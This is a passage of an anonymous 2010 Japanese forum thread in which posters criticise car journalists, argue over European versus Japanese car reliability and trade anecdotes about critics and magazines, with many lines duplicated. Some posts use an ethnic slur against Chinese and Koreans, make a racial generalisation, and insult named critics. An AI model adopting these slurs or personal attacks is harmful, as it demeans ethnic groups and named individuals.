なぜ、メディアはそのことを「欧州車だから」という言葉で覆い隠すのか。理解が出来ない。
機械の信頼性・耐久性が上がっているとはいえ、いずれは故障する。その時に高いお金を払わされ、泣くのはユーザー。
なぜ、メディアはそのことを「欧州車だから」という言葉で覆い隠すのか。理解が出来ない。
591 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 01:06:33 ID:ue0L2MVe0
結論から言うと自動車評論家がマンセーするような車は買っちゃダメということだな
逆に叩かれてるマーチあたりは買いと
逆に叩かれてるマーチあたりは買いと
592 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 01:15:36 ID:tOo8fsgj0
>>590
自分で言ってるじゃん
＞機械の信頼性・耐久性が上がっているとはいえ、いずれは故障する。その時に高いお金を払わされ
つまり「オマエラ俺たちクルマ業界ゴロの言う事信じて定期的に買い換えろよ！」ってｗ
自分で言ってるじゃん
＞機械の信頼性・耐久性が上がっているとはいえ、いずれは故障する。その時に高いお金を払わされ
つまり「オマエラ俺たちクルマ業界ゴロの言う事信じて定期的に買い換えろよ！」ってｗ
593 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 01:45:22 ID:qsPBpvEV0
ターボやSCといった過給機付きエンジンは取扱いがシビアでコンディションの管理が大変。
このあたりはいくら技術が進歩したとはいえ、結局根本は変わっていない。なのに、「完璧完全世界一の技術」としてメディアは持ち上げる。
欧州車だからといって勝手に持ち上げるのはいいが、同時に問題点もきちんと問うべき。
日本発のHV技術はちゃんと問題点も問われているのにおかしい。
このあたりはいくら技術が進歩したとはいえ、結局根本は変わっていない。なのに、「完璧完全世界一の技術」としてメディアは持ち上げる。
欧州車だからといって勝手に持ち上げるのはいいが、同時に問題点もきちんと問うべき。
日本発のHV技術はちゃんと問題点も問われているのにおかしい。
594 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 01:55:14 ID:AUi/rXeT0
クズ評論家のよくあるパターン
ダッジ・チャージャー
(アメ車らしいデザインかっこいい,この大きさがアメ車らしさ,乗って楽しいを連発)
レクサス・LS
(日本では大きすぎると批判,デザインに特徴が無いと批判,トヨタを批判して通ぶる)
ダッジ・アベンジャー
(日本ではチャージャーより乗りやすいサイズ,しかし小型車と言う訳ではないので広さも十分だが
FFセダンは没個性という思い込みで無視,俺はチャージャーより日本では良いと思うのだが)
メルセデスベンツ・Gクラス(ゲレンデバーゲン)
(軍用車ベースなので本格的なのが良い,イザとなったらオフロードで頼りになる,とベタ褒め
しかしパジェロやランクルには日本でオフロードを走る事なんて無い時代遅れと文句を言う
スポーツカーでサーキットを走るのは実用的な事か？俺はオフロード大好きだ)
こんな感じの駄文,糞コメントよく見るなｗ
ダッジ・チャージャー
(アメ車らしいデザインかっこいい,この大きさがアメ車らしさ,乗って楽しいを連発)
レクサス・LS
(日本では大きすぎると批判,デザインに特徴が無いと批判,トヨタを批判して通ぶる)
ダッジ・アベンジャー
(日本ではチャージャーより乗りやすいサイズ,しかし小型車と言う訳ではないので広さも十分だが
FFセダンは没個性という思い込みで無視,俺はチャージャーより日本では良いと思うのだが)
メルセデスベンツ・Gクラス(ゲレンデバーゲン)
(軍用車ベースなので本格的なのが良い,イザとなったらオフロードで頼りになる,とベタ褒め
しかしパジェロやランクルには日本でオフロードを走る事なんて無い時代遅れと文句を言う
スポーツカーでサーキットを走るのは実用的な事か？俺はオフロード大好きだ)
こんな感じの駄文,糞コメントよく見るなｗ
595 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 02:05:36 ID:LvMd+s2J0
>>593
>ターボやSCといった過給機付きエンジンは取扱いがシビアでコンディションの管理が大変。
そう言ってしまうと、日本で売れる輸入車のVW/AUDIが否定される事になるが…
素人はサービスパッケージに入るから、何も気にしないはず
>ターボやSCといった過給機付きエンジンは取扱いがシビアでコンディションの管理が大変。
そう言ってしまうと、日本で売れる輸入車のVW/AUDIが否定される事になるが…
素人はサービスパッケージに入るから、何も気にしないはず
596 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 02:32:55 ID:MIOYLCzy0
昔のマーチの「スーパーターボ」は壊れやすいとかの話は聞かなかったがなあ。
VWの過給は部品数も減らしてトヨタ（奴隷）の下請けのパーツより耐久力あんでしょ。
VWの過給は部品数も減らしてトヨタ（奴隷）の下請けのパーツより耐久力あんでしょ。
597 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 03:00:29 ID:U56rbdfh0
整備の行き届いた卸したての最新型をお目付け役なしで何日も好きなように使って、
「いいですね」以外何の感想があるっての。
しかも「出たんで乗ってみました」って受け身な感想ばっかりでメリハリも何もないし。
とにかく当たり障りのないことを！ってのが至上命題だってことがよくわかるよ。
>>596
VWなんて故障の巣窟だよ。新車保証効いてるうちくらいしか安心して乗れん。
遅れられない大事な用事や長距離になんて俺にはとても無理。
輸入車の中古って値堕ち率がでかいけど、新車価格が高いせいだけじゃないよ。
逆に言うと国産は高値安定。せいぜい人気不人気だけで。
「いいですね」以外何の感想があるっての。
しかも「出たんで乗ってみました」って受け身な感想ばっかりでメリハリも何もないし。
とにかく当たり障りのないことを！ってのが至上命題だってことがよくわかるよ。
>>596
VWなんて故障の巣窟だよ。新車保証効いてるうちくらいしか安心して乗れん。
遅れられない大事な用事や長距離になんて俺にはとても無理。
輸入車の中古って値堕ち率がでかいけど、新車価格が高いせいだけじゃないよ。
逆に言うと国産は高値安定。せいぜい人気不人気だけで。
598 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 07:55:04 ID:tfjXcvdg0
１０年乗れば結果的に得
販売単価が高いし、下取り安いから乗らざるを得ない…けど
結局壊れるから手放す
販売単価が高いし、下取り安いから乗らざるを得ない…けど
結局壊れるから手放す
599 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 08:53:43 ID:+lP+gBg/0
ダウンサイジングとかターボがどうとか言う奴は、軽自動車をディスってるかバカにしてるか
どちらかだな・・・
どちらかだな・・・
600 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 10:19:00 ID:+wVhAgqI0
>>594
最近はトヨタたたいとけばおｋみたいな風潮あるわな
レクサスもメルセデスも現状かわらねーっての
いつまで1980年代のメルセデスのイメージで語ってるんだか
欧州車はコストダウン技術が日本メーカーに比べて稚拙で2000年以降の車なんて惨憺たるものでしょ
最近はトヨタたたいとけばおｋみたいな風潮あるわな
レクサスもメルセデスも現状かわらねーっての
いつまで1980年代のメルセデスのイメージで語ってるんだか
欧州車はコストダウン技術が日本メーカーに比べて稚拙で2000年以降の車なんて惨憺たるものでしょ
601 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 10:23:33 ID:8NlvKfG20
602 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 10:33:29 ID:JfvXSeMn0
今月の痛車記事で国産しか記事に載せないなんて
さすがだなENGINE
さすがだなENGINE
603 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 10:34:50 ID:+lP+gBg/0
>>601
＞古い軽の中古見てみな？ノンターボの方が生き残ってる。
販売台数の割合で見たら当たり前だと思うが。
スポーツセダンやクーペと違い、実用車の場合はベースグレードの中古需要が
高いというのもあるし。
（R32やS13だとNAの方がイイ！という人は少ないが、軽はそれが当てはまらない）
少なくとも、俺の550ccターボの軽自動車はまだ元気に走ってるよ。
＞古い軽の中古見てみな？ノンターボの方が生き残ってる。
販売台数の割合で見たら当たり前だと思うが。
スポーツセダンやクーペと違い、実用車の場合はベースグレードの中古需要が
高いというのもあるし。
（R32やS13だとNAの方がイイ！という人は少ないが、軽はそれが当てはまらない）
少なくとも、俺の550ccターボの軽自動車はまだ元気に走ってるよ。
604 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 10:45:26 ID:+wVhAgqI0
昔の自動車ライター（ジャーナリストとは言えない）はまだ車大好き！って感じがあったが
今の自動車ライター（特に河口まなぶとか）は車に対する愛情なんて何も感じないわな
だから文章にも熱意が感じられない
シビックユーロＲを輸入させたのは俺！とか書いてる馬鹿は一度死んだ方がいい
あんなの輸入したせいで4ドアタイプＲ消滅したじゃねーか
今の自動車ライター（特に河口まなぶとか）は車に対する愛情なんて何も感じないわな
だから文章にも熱意が感じられない
シビックユーロＲを輸入させたのは俺！とか書いてる馬鹿は一度死んだ方がいい
あんなの輸入したせいで4ドアタイプＲ消滅したじゃねーか
605 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 12:46:48 ID:8NlvKfG20
>>603
中古車は商品性というものもある。
極端な例では古いスカイラインなんてぜんぜん残ってないのにGT-Rだけが
現存率が高い。ジェミニでもLSやLTの方が売れたのに
残って市場に出るのはZZ－Rばかり。
通常は商品価値があれば潰さないでまわすし、
価値が無ければ好調でも古いというだけで潰しちゃう。
軽のターボは商品として人気はあるけど、
直して売るほどの値段がつかないから潰されちゃう。
ちなみに、生き残り率の高いのはダイハツ。
そのまま市場に回せるから。
中古車は商品性というものもある。
極端な例では古いスカイラインなんてぜんぜん残ってないのにGT-Rだけが
現存率が高い。ジェミニでもLSやLTの方が売れたのに
残って市場に出るのはZZ－Rばかり。
通常は商品価値があれば潰さないでまわすし、
価値が無ければ好調でも古いというだけで潰しちゃう。
軽のターボは商品として人気はあるけど、
直して売るほどの値段がつかないから潰されちゃう。
ちなみに、生き残り率の高いのはダイハツ。
そのまま市場に回せるから。
606 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 13:17:21 ID:gU07zqaVP
親戚が安いゴルフ買って乗ってたらハーネスが燃えて修理をしたら
買った価格より高くなったという笑えない話があったよ
日本車は古くてもハーネスが燃えたりしないから結果的にはお得
間違いだらけの中古車選びだった訳だｗ
そこまで評論家は言及しないからね
買った価格より高くなったという笑えない話があったよ
日本車は古くてもハーネスが燃えたりしないから結果的にはお得
間違いだらけの中古車選びだった訳だｗ
そこまで評論家は言及しないからね
607 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 13:38:15 ID:AUi/rXeT0
「間違いだらけの自動車評論家」
という本を出してクズの名前を一覧出来るようにするべきだな
という本を出してクズの名前を一覧出来るようにするべきだな
608 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 13:41:58 ID:SmE5TL2i0
609 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 13:47:32 ID:gU07zqaVP
三本さんは本業は自動車評論家じゃなくて写真家だからなあ
編曲家や一端な事言ったり写真家が一番マシな部類の業界ってなんなのかねｗ
編曲家や一端な事言ったり写真家が一番マシな部類の業界ってなんなのかねｗ
610 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 13:54:25 ID:SmE5TL2i0
松任谷は基本的に欧州びいきだわな
611 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 17:11:06 ID:8NlvKfG20
誰だ国沢の噂してるのは！
612 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 18:02:08 ID:BVTaCLkR0
>>582
今月号もまったく売れてない「マガジンX」
今月号もまったく売れてない「マガジンX」
613 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 18:05:53 ID:FINR34070
>>612
はっきり言って誰も政治の話なんか読みたくて自動車雑誌なんか買わないわな
昔なんか死体写真載せたりさ
大谷の警察追求レポートみたいなの連載し始めた10年以上前？からスクープの質低下と反比例してクソ記事が増えた
はっきり言って誰も政治の話なんか読みたくて自動車雑誌なんか買わないわな
昔なんか死体写真載せたりさ
大谷の警察追求レポートみたいなの連載し始めた10年以上前？からスクープの質低下と反比例してクソ記事が増えた
614 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 18:39:21 ID:GUMDdbj3O
>>609
＞ 三本さんは本業は自動車評論家じゃなくて写真家だからなあ
そ、そうなのか！
全然知らなかった。
でもこの人評論家の中で相当まともな部類とされてるだろ？
まあ、もと自動車エンジニアでも相当変なこと言う評論家もいるから、
本職とか前職ってのはあまり気にしない方がいいのかもしれない。
＞ 三本さんは本業は自動車評論家じゃなくて写真家だからなあ
そ、そうなのか！
全然知らなかった。
でもこの人評論家の中で相当まともな部類とされてるだろ？
まあ、もと自動車エンジニアでも相当変なこと言う評論家もいるから、
本職とか前職ってのはあまり気にしない方がいいのかもしれない。
615 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 18:55:00 ID:MMncFwOj0
三本さんは横文字も必ず日本語に直して説明してたからね。
当たり前の事をやってきた重みは違うよ。
当たり前の事をやってきた重みは違うよ。
616 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 19:02:30 ID:bGRAG2kw0
東京新聞のカメラマンでカーグラフィックの創設メンバー、
同誌で長らく左掛かったプロ市民コラムを連載していた。
新車情報も市民は黙っていると大企業に搾取されるという
プロ市民的立脚による物。
本来お前らとソリが合うタイプの人ではない。
同誌で長らく左掛かったプロ市民コラムを連載していた。
新車情報も市民は黙っていると大企業に搾取されるという
プロ市民的立脚による物。
本来お前らとソリが合うタイプの人ではない。
617 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 19:18:15 ID:FINR34070
まー三本さんも△窓付けろとか色々無茶なこといってたわな
ＡＴでラリーしたりさ
ＡＴでラリーしたりさ
618 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 19:19:06 ID:qsPBpvEV0
>>607
欲しいｗ
欲しいｗ
619 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 20:32:12 ID:X42E080V0
でも三角窓ってエコを気取るご時世ならあってもいいんじゃね？と思う。
エアコン付けないで、微妙な送風や室内からの排気はあれ便利なんだよね。
エアコン付けないで、微妙な送風や室内からの排気はあれ便利なんだよね。
620 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 21:03:26 ID:tOo8fsgj0
621 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 21:08:08 ID:NEp5YrUa0
>>604
確かに、これ
ttp://minkara.carview.co.jp/userid/318223/blog/
とか頭痛くなってくる。
ホンダと言えばマンマキシマムメカミニマムなんだから、フィットやミニバンこそ相応しいと思うが。
確かに、これ
ttp://minkara.carview.co.jp/userid/318223/blog/
とか頭痛くなってくる。
ホンダと言えばマンマキシマムメカミニマムなんだから、フィットやミニバンこそ相応しいと思うが。
622 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 21:45:41 ID:FINR34070
>軽量化のため標準状態ではエアコンレスというスパルタン
>ものすごくフィジカルがバランス良い感覚
河口はボクスターの素性も理解してないのがバレバレ
訳の分からない英語使ってるしもう中学生でも疑問持つでしょこれ
こんな奴に記事書かせてる奴も問題だけどさ
本当に>>607が必要だと思う
>ものすごくフィジカルがバランス良い感覚
河口はボクスターの素性も理解してないのがバレバレ
訳の分からない英語使ってるしもう中学生でも疑問持つでしょこれ
こんな奴に記事書かせてる奴も問題だけどさ
本当に>>607が必要だと思う
623 ：名無しさん＠そうだドライブへ行こう：2010/09/26(日) 22:00:18 ID:8NlvKfG20
>>614
>まあ、もと自動車エンジニアでも相当変なこと言う評論家もいるから、
そもそも短期間でエンジニア辞めてるような人は、エンジニアとして芽が出ないから
辞めてそんな事やってるんであって、エンジニアとして才能があるなら
再就職先も技術系に行くわけだし。
さらに「元メーカー勤務」って言っても広報とか一般ジムみたいな仕事もあるし。
>まあ、もと自動車エンジニアでも相当変なこと言う評論家もいるから、
そもそも短期間でエンジニア辞めてるような人は、エンジニアとして芽が出ないから
辞めてそんな事やってるんであって、エンジニアとして才能があるなら
再就職先も技術系に行くわけだし。
さらに「元メーカー勤務」って言っても広報とか一般ジムみたいな仕事もあるし。
624 ：名無しさん＠そうだドライブへ行こう：2010/09/27(月) 09:00:16 ID:7bj0uvlsP
そもそも自動車評論家って何なのって議論になりそうだなｗ
625 ：名無しさん＠そうだドライブへ行こう：2010/09/27(月) 09:17:20 ID:irWTaKo+0
626 ：名無しさん＠そうだドライブへ行こう：2010/09/27(月) 09:25:27 ID:L9zWZs8j0
ほれ、兼高かおるとかああいうポジションよ。
海外旅行がまだホイホイ出来なかった時代にあちこち逝って旅行話で稼ぐ人たち。
自動車評論家はそれに近い。
車が憧れの物体だったころの残骸なのさ。
海外旅行がまだホイホイ出来なかった時代にあちこち逝って旅行話で稼ぐ人たち。
自動車評論家はそれに近い。
車が憧れの物体だったころの残骸なのさ。
627 ：名無しさん＠そうだドライブへ行こう：2010/09/27(月) 09:28:40 ID:ZZ8H+2XTO
不躾棒は製品化すべし
628 ：名無しさん＠そうだドライブへ行こう：2010/09/27(月) 09:50:55 ID:irWTaKo+0
629 ：名無しさん＠そうだドライブへ行こう：2010/09/27(月) 12:36:11 ID:4SEsIi5B0
カスとまではさすがに思わないけど…
まあ、接待費はいくら掛かったの？ご苦労さんと思うけど。
賞貰っても、バカ売れしないでしょ？
まあ、接待費はいくら掛かったの？ご苦労さんと思うけど。
賞貰っても、バカ売れしないでしょ？
630 ：名無しさん＠そうだドライブへ行こう：2010/09/27(月) 12:39:21 ID:dWzoborU0
IQが発売前に受賞した時はさすがにどうかと思ったねｗ
631 ：名無しさん＠そうだドライブへ行こう：2010/09/27(月) 12:45:22 ID:irWTaKo+0
632 ：名無しさん＠そうだドライブへ行こう：2010/09/27(月) 13:44:02 ID:4lNxDJMU0
>>620
ただ、内外の突出物を避けようとする1970年代以降の安全設計指向には
とても合致しないからなあ、三角窓。不可能
内蔵ベンチレーションシステムがしっかりしていて、エアコンやファン作動させなくても「→」で外気導入にするだけで
前方からの気圧で自然換気する基本ができていれば、いいんだけどねえ……
ただ、内外の突出物を避けようとする1970年代以降の安全設計指向には
とても合致しないからなあ、三角窓。不可能
内蔵ベンチレーションシステムがしっかりしていて、エアコンやファン作動させなくても「→」で外気導入にするだけで
前方からの気圧で自然換気する基本ができていれば、いいんだけどねえ……
633 ：名無しさん＠そうだドライブへ行こう：2010/09/27(月) 13:57:28 ID:cVNFS2PE0
>>624
そもそもの事を言うならば日本の場合ジャーナリズム自体がが中途半端なので
車の世界だけがダメと言う訳ではない
全体的にダメな中で車の世界はダメさ加減が目立つという感じ
でも日本の女子アナもジャーナリストとは言えない人が9割以上だけどｗ
そもそもの事を言うならば日本の場合ジャーナリズム自体がが中途半端なので
車の世界だけがダメと言う訳ではない
全体的にダメな中で車の世界はダメさ加減が目立つという感じ
でも日本の女子アナもジャーナリストとは言えない人が9割以上だけどｗ
634 ：名無しさん＠そうだドライブへ行こう：2010/09/27(月) 20:36:56 ID:7bj0uvlsP
日本の女子アナはシナチョンのがなってるのより癒されていいけどねｗ
635 ：名無しさん＠そうだドライブへ行こう：2010/09/27(月) 23:30:18 ID:AUksuiB60
>>632
ポーターキャブのフロントベンチレーション最強。足で蹴飛ばして蓋開けるｗ
ポーターキャブのフロントベンチレーション最強。足で蹴飛ばして蓋開けるｗ
636 ：名無しさん＠そうだドライブへ行こう：2010/09/27(月) 23:32:05 ID:L9zWZs8j0
ポーターさんは1960年代から続くシーラカンスみたいな存在だったな。
637 ：名無しさん＠そうだドライブへ行こう：2010/09/27(月) 23:33:39 ID:Uu7A/UDn0
>>619
免許取り立てだけど親父の初代ゴルフと空冷VWを街乗りに使ってる俺が一言。
三角窓だけ開けてもうまく風が抜けないから普通の窓も開けなきゃならないし、
暑い日は熱波が、涼しい日はクーラーを最強にしたレベルの風が入ってくるだけで、
結局クーラーを使うか普通の窓だけ開けるかの二択になるよ。
三角窓は車内にこもる不快な低周波音を逃がしたり、デフロスターの代わりに使うもんです。
免許取り立てだけど親父の初代ゴルフと空冷VWを街乗りに使ってる俺が一言。
三角窓だけ開けてもうまく風が抜けないから普通の窓も開けなきゃならないし、
暑い日は熱波が、涼しい日はクーラーを最強にしたレベルの風が入ってくるだけで、
結局クーラーを使うか普通の窓だけ開けるかの二択になるよ。
三角窓は車内にこもる不快な低周波音を逃がしたり、デフロスターの代わりに使うもんです。
638 ：名無しさん＠そうだドライブへ行こう：2010/09/28(火) 02:56:09 ID:b5L2lqIG0
>>635
ステッキタイプのサイドブレーキレバーの横に開閉レバーがあったはずだが？
ステッキタイプのサイドブレーキレバーの横に開閉レバーがあったはずだが？
639 ：名無しさん＠そうだドライブへ行こう：2010/09/28(火) 15:13:31 ID:3qyFAvQ50
4×4マガジン雑誌版最終号を買った香具師はいるか？
俺はまだ買ってないが昔買っていたので想い出のつもりで最終号ぐらいは買ってみようかなと思う
でもそれ以外に買う理由ないけどなｗ
このスレの皆さんも機会があれば立ち読みぐらいしてあげてくださいｗｗ
俺はまだ買ってないが昔買っていたので想い出のつもりで最終号ぐらいは買ってみようかなと思う
でもそれ以外に買う理由ないけどなｗ
このスレの皆さんも機会があれば立ち読みぐらいしてあげてくださいｗｗ
640 ：名無しさん＠そうだドライブへ行こう：2010/09/28(火) 16:14:15 ID:3Avc9+Mc0
突起物避けようとする割にはサイドアンダーミラーなどという代物を
役所のお触れ一発でくっつけてるけどね。
カメラやプリズムミラーも三菱なんかは頑なに使おうとしない。
どこも鏡面調整すらないから、こんなの無駄だというメッセージがひしひしと伝わるが。
>>637
昔はここまでの酷暑がなかったし、エアコンは当たり前ではなかった。
風抜けは速度にもよるだろうし、上下する窓と併用しても別にいい。
最後の一文は自分の使ってる車はという話だろうけどな。
役所のお触れ一発でくっつけてるけどね。
カメラやプリズムミラーも三菱なんかは頑なに使おうとしない。
どこも鏡面調整すらないから、こんなの無駄だというメッセージがひしひしと伝わるが。
>>637
昔はここまでの酷暑がなかったし、エアコンは当たり前ではなかった。
風抜けは速度にもよるだろうし、上下する窓と併用しても別にいい。
最後の一文は自分の使ってる車はという話だろうけどな。
641 ：名無しさん＠そうだドライブへ行こう：2010/09/28(火) 17:51:32 ID:zb1Vl+R10
ベストカーの投稿で「老人の逆走対策が必要なのでは」っていう読者に対して
徳大寺が「今だってバックギアに入れるとアラームが鳴りますよ」ってすっとぼけた回答してて笑った
徳大寺が「今だってバックギアに入れるとアラームが鳴りますよ」ってすっとぼけた回答してて笑った
642 ：名無しさん＠そうだドライブへ行こう：2010/09/28(火) 18:09:26 ID:KFOQS9a20
>>641
あの糖尿病まだ生きてるのか
あの糖尿病まだ生きてるのか
643 ：名無しさん＠そうだドライブへ行こう：2010/09/28(火) 21:42:40 ID:FYyJdtEj0
>>638
ウチの職場にいたポーターキャブは開閉レバーが壊れていて、開ける際は蹴飛ばすしかなかったｗ
ウチの職場にいたポーターキャブは開閉レバーが壊れていて、開ける際は蹴飛ばすしかなかったｗ
644 ：名無しさん＠そうだドライブへ行こう：2010/09/29(水) 03:07:12 ID:uscpWTxa0
>>642
伊集院光さんがラジオで徳大寺をどんな人か説明する時に
「外車ばっかり乗ってる勝新太郎みたいなおっさん」と、言った事がある
世の中の人の認識はそんなもんだｗ
車を評論してるんじゃなくて外車が好きなだけ
伊集院光さんがラジオで徳大寺をどんな人か説明する時に
「外車ばっかり乗ってる勝新太郎みたいなおっさん」と、言った事がある
世の中の人の認識はそんなもんだｗ
車を評論してるんじゃなくて外車が好きなだけ
645 ：名無しさん＠そうだドライブへ行こう：2010/09/29(水) 08:18:59 ID:8mjh9shaP
まあ昔は外車の方が良かった時代があったからマンセーしてまうんやろ？
646 ：名無しさん＠そうだドライブへ行こう：2010/09/29(水) 10:16:56 ID:Fh43BooY0
>644
うまいw
うまいw
647 ：名無しさん＠そうだドライブへ行こう：2010/09/29(水) 11:29:56 ID:pCKE0w+K0
ていうか、昔からけっこう言われてない？＞勝新
まあ一応、世間的にベストセラー持ってる唯一の自動車評論家だし
一般メディアで「どんな人？」って尋ねられたらそんな風に答えるような。
普通の自動車評論家はそんな関心さえ一切持たれてないし。
まあ一応、世間的にベストセラー持ってる唯一の自動車評論家だし
一般メディアで「どんな人？」って尋ねられたらそんな風に答えるような。
普通の自動車評論家はそんな関心さえ一切持たれてないし。
648 ：名無しさん＠そうだドライブへ行こう：2010/09/29(水) 12:13:59 ID:/rToRaDA0
嵐山光三郎にも似てるって言われてたな
嵐山自身も「徳大寺さんと間違われることがある」と言ってたし
嵐山自身も「徳大寺さんと間違われることがある」と言ってたし
649 ：名無しさん＠そうだドライブへ行こう：2010/09/29(水) 12:23:36 ID:/xL88e/C0
チビデブだけど良い服着てそれなりのビジュアルだったしな。
ジーンズとポロシャツでアストンがフェラーリがと言われても説得力無いし＞その他の評論家
ジーンズとポロシャツでアストンがフェラーリがと言われても説得力無いし＞その他の評論家
650 ：名無しさん＠そうだドライブへ行こう：2010/09/29(水) 12:57:48 ID:p3PAKGxG0
>>649
最近の評論家は時計がな
最近の評論家は時計がな
651 ：名無しさん＠そうだドライブへ行こう：2010/09/29(水) 12:59:19 ID:niS79y/y0
アメリカではパット・モリタ（映画「ベスト・キッド」の空手の師匠役）に間違われて
サインをねだられたってさ
たしかにパッと見は似てるし、奴らの目では見分けがつかないんだろうな
サインをねだられたってさ
たしかにパッと見は似てるし、奴らの目では見分けがつかないんだろうな
652 ：名無しさん＠そうだドライブへ行こう：2010/09/29(水) 22:42:58 ID:QHbHN+me0
誰かカーグラフィックのスレを立ててください
653 ：名無しさん＠そうだドライブへ行こう：2010/09/29(水) 22:49:00 ID:RQAB1/yk0
メルツェデス有垣
654 ：名無しさん＠そうだドライブへ行こう：2010/09/29(水) 23:53:04 ID:/xL88e/C0
「ありつね」じゃなくて「ゆうこう」って呼んでくれって時期があったよな。
655 ：名無しさん＠そうだドライブへ行こう：2010/09/29(水) 23:55:15 ID:RQAB1/yk0
>>654
おかげで垣じゃなくて恒だってことに気づいた。・゜・(ノД`)・゜・。
おかげで垣じゃなくて恒だってことに気づいた。・゜・(ノД`)・゜・。
656 ：名無しさん＠そうだドライブへ行こう：2010/09/30(木) 00:23:31 ID:j0neNekN0
657 ：名無しさん＠そうだドライブへ行こう：2010/09/30(木) 01:34:08 ID:XNY+gncu0
徳大寺のベストセラーも毎年度版化すると
粗製乱造になったな。新古書店でも値が付かない。
（無料引き取りを承諾するしかない）
粗製乱造になったな。新古書店でも値が付かない。
（無料引き取りを承諾するしかない）
658 ：名無しさん＠そうだドライブへ行こう：2010/09/30(木) 01:44:19 ID:urpGhhyc0
どう見てもお前乗ってないだろ的な内容が増えたもんなｗ
659 ：名無しさん＠そうだドライブへ行こう：2010/09/30(木) 04:45:55 ID:RNd4ZKKD0
自動車評論化がブログで尖閣にふれ、しかもお花畑的発言
色々と環境や世界の流れなど知っているような発言しているが、
結局あの人は井の中の蛙だと目が覚め気付いた読者もいるだろうね
今後あのステッカーはる人いるのかな
色々と環境や世界の流れなど知っているような発言しているが、
結局あの人は井の中の蛙だと目が覚め気付いた読者もいるだろうね
今後あのステッカーはる人いるのかな
660 ：名無しさん＠そうだドライブへ行こう：2010/09/30(木) 06:46:27 ID:fVGYe9Nh0
趣味がそのまま仕事になった人たちの同人誌だからな
今の自動車雑誌
Ｓクラスに乗ることが出来ても
Ｓクラスに相応しい人間ではない、っていう意味じゃ
ヤクザと大差ない連中だ。
因縁つけて、みかじめもらってるとことか。
今の自動車雑誌
Ｓクラスに乗ることが出来ても
Ｓクラスに相応しい人間ではない、っていう意味じゃ
ヤクザと大差ない連中だ。
因縁つけて、みかじめもらってるとことか。
661 ：名無しさん＠そうだドライブへ行こう：2010/09/30(木) 07:39:30 ID:jT+GPotC0
>>659
心配しなくても、もうすぐ上海に大学生チームも行って国際格式レースやるでしょ。とか
ロイテマンがＦ１を引退した理由の一つに上げられる説になにがある？という反対事例とか
井戸の中ですら反論できる事例があるんだけどね。
この人は要するに「ミニバン大嫌い、ディーゼル大好き」と書き散らしているだけだが。
心配しなくても、もうすぐ上海に大学生チームも行って国際格式レースやるでしょ。とか
ロイテマンがＦ１を引退した理由の一つに上げられる説になにがある？という反対事例とか
井戸の中ですら反論できる事例があるんだけどね。
この人は要するに「ミニバン大嫌い、ディーゼル大好き」と書き散らしているだけだが。
662 ：名無しさん＠そうだドライブへ行こう：2010/09/30(木) 08:27:56 ID:Kw+q4KKg0
>>658
特大時がダメなのは
・昔スポンサーだったマツダに切られたらしいがそれを根に持ってマツダ車を叩きまくった
・売れない車の場合、記事の内容が180度変わる（例シルビアＳ１４）
・メルツェデスだのジャグァだの（まぁこれは一時期流行ったがｗ）
・自分で車を買っていない
まぁ今の自称自動車ジャーナリストも同じなわけだが
やたら横文字使いたがる河口まなぶとか徳大寺の1万倍劣化したクソだけどなぜかザッカーは使いたがるなｗ
河口の出てるような雑誌＝購入対象にはならないわけだが
特大時がダメなのは
・昔スポンサーだったマツダに切られたらしいがそれを根に持ってマツダ車を叩きまくった
・売れない車の場合、記事の内容が180度変わる（例シルビアＳ１４）
・メルツェデスだのジャグァだの（まぁこれは一時期流行ったがｗ）
・自分で車を買っていない
まぁ今の自称自動車ジャーナリストも同じなわけだが
やたら横文字使いたがる河口まなぶとか徳大寺の1万倍劣化したクソだけどなぜかザッカーは使いたがるなｗ
河口の出てるような雑誌＝購入対象にはならないわけだが
663 ：名無しさん＠そうだドライブへ行こう：2010/09/30(木) 11:18:50 ID:7qkMBSRU0
>656
ベストモーターリングが、予告で「ゆうこう」って言ってた時期もあったね
ベストモーターリングが、予告で「ゆうこう」って言ってた時期もあったね
664 ：名無しさん＠そうだドライブへ行こう：2010/09/30(木) 19:35:23 ID:vhMnE/K00
国産は駄目、輸入車は素晴しいという論法は中国ならまだ暫く飯が食えるかもな。
665 ：名無しさん＠そうだドライブへ行こう：2010/09/30(木) 21:14:44 ID:srH6p5D70
>>664
いや、あの国の人はプライドと愛国心が異様に高いので、中国車最高！輸入車はカスにしないと売れないｗ
いや、あの国の人はプライドと愛国心が異様に高いので、中国車最高！輸入車はカスにしないと売れないｗ
666 ：名無しさん＠そうだドライブへ行こう：2010/09/30(木) 21:27:52 ID:vhMnE/K00
札束持って銀座や秋葉原に来るような層は自国製品大嫌いですよ。
667 ：名無しさん＠そうだドライブへ行こう：2010/09/30(木) 22:29:37 ID:fVGYe9Nh0
先日中国出張の折、買ってきた「世界汽車」などの
中国のクルマ雑誌を読んでいますと
欧州のクルマ雑誌、日本のクルマ雑誌と同じく
